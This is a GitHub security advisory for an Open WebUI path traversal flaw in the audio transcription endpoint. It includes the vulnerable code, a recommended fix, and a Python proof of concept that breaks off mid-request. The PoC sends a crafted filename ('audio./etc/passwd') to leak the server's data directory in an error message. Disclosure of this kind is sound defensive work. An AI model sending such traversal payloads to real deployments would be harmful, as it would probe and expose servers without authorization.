GitHub Security Advisory: GHSA-vvxm-vxmr-624h
Package: open-webui (PIP)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-209: Generation of Error Message Containing Sensitive Information
Vulnerable versions: < 0.8.6
Patched in: 0.8.6

Summary: Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions`

Details:
### Summary

An unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a `FileNotFoundError` whose message — including the server's absolute `DATA_DIR` path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.

### Details

`backend/open_webui/routers/audio.py:1197` extracts a file extension from the raw multipart `filename` using `file.filename.split(".")[-1]` with no path sanitisation. The result is concatenated into a filesystem path and passed to `open()`:

```python
ext       = file.filename.split(".")[-1]       # attacker-controlled, no sanitisation
filename  = f"{id}.{ext}"                      # may contain "/"
file_path = f"{file_dir}/{filename}"
with open(file_path, "wb") as f:
    f.write(contents)
```

If the filename is `audio./etc/passwd`, `split(".")[-1]` yields `/etc/passwd` and the assembled path becomes:

```
{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd
```

`open()` fails with `FileNotFoundError`. The outer `except` block at line 1231 returns the exception via `ERROR_MESSAGES.DEFAULT(e)`, leaking the full absolute path in the response body.

The MIME-type guard at line 1190 checks `Content-Type` (a separate multipart field) and does not constrain `filename`. Setting `Content-Type: audio/wav` satisfies the guard regardless of the filename value.

This handler is the only file upload path in the codebase that omits `os.path.basename()`. Both sibling handlers apply it explicitly:

```python
# files.py:244
filename = os.path.basename(file.filename)

# pipelines.py:206
filename = os.path.basename(file.filename)
```

**Recommended fix** — match the existing pattern and suppress path leakage in errors:

```python
# audio.py:1197 — sanitise extension
from pathlib import Path
safe_name = Path(file.filename).name
ext = Path(safe_name).suffix.lstrip(".") or "bin"

# audio.py:1231 — suppress internal path in error response
except Exception as e:
    log.exception(e)
    raise HTTPException(status_code=400, detail="Transcription failed.")
```

---

### PoC

**Requirements:** a running Open WebUI instance and one standard (non-admin) user account.

```bash
docker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest
# wait ~30 s, register a standard user at http://localhost:3000
pip install requests
```

```python
import requests, sys

BASE_URL = "http://localhost:3000"
EMAIL    = "user@example.com"
[CREDENTIAL_REDACTED]"

token = requests.post(f"{BASE_URL}/api/v1/auths/signin",
                      json={"email": EMAIL, "password": PASSWORD},
                      timeout=10).json()["token"]

boundary = "----Boundary"
wav_stub = b"RIFF\x00\x00\x00\x00WAVE"
body = (
    f'--{boundary}\r\nContent-Disposition: form-data; name="file"; '
    f'filename="audio./etc/passwd"\r\nContent-Type: audio/wav\r\n\r\n'
).encode() + wav_stub + f"\r\n--{boundary}--\r\n".encode()

resp = requests.post(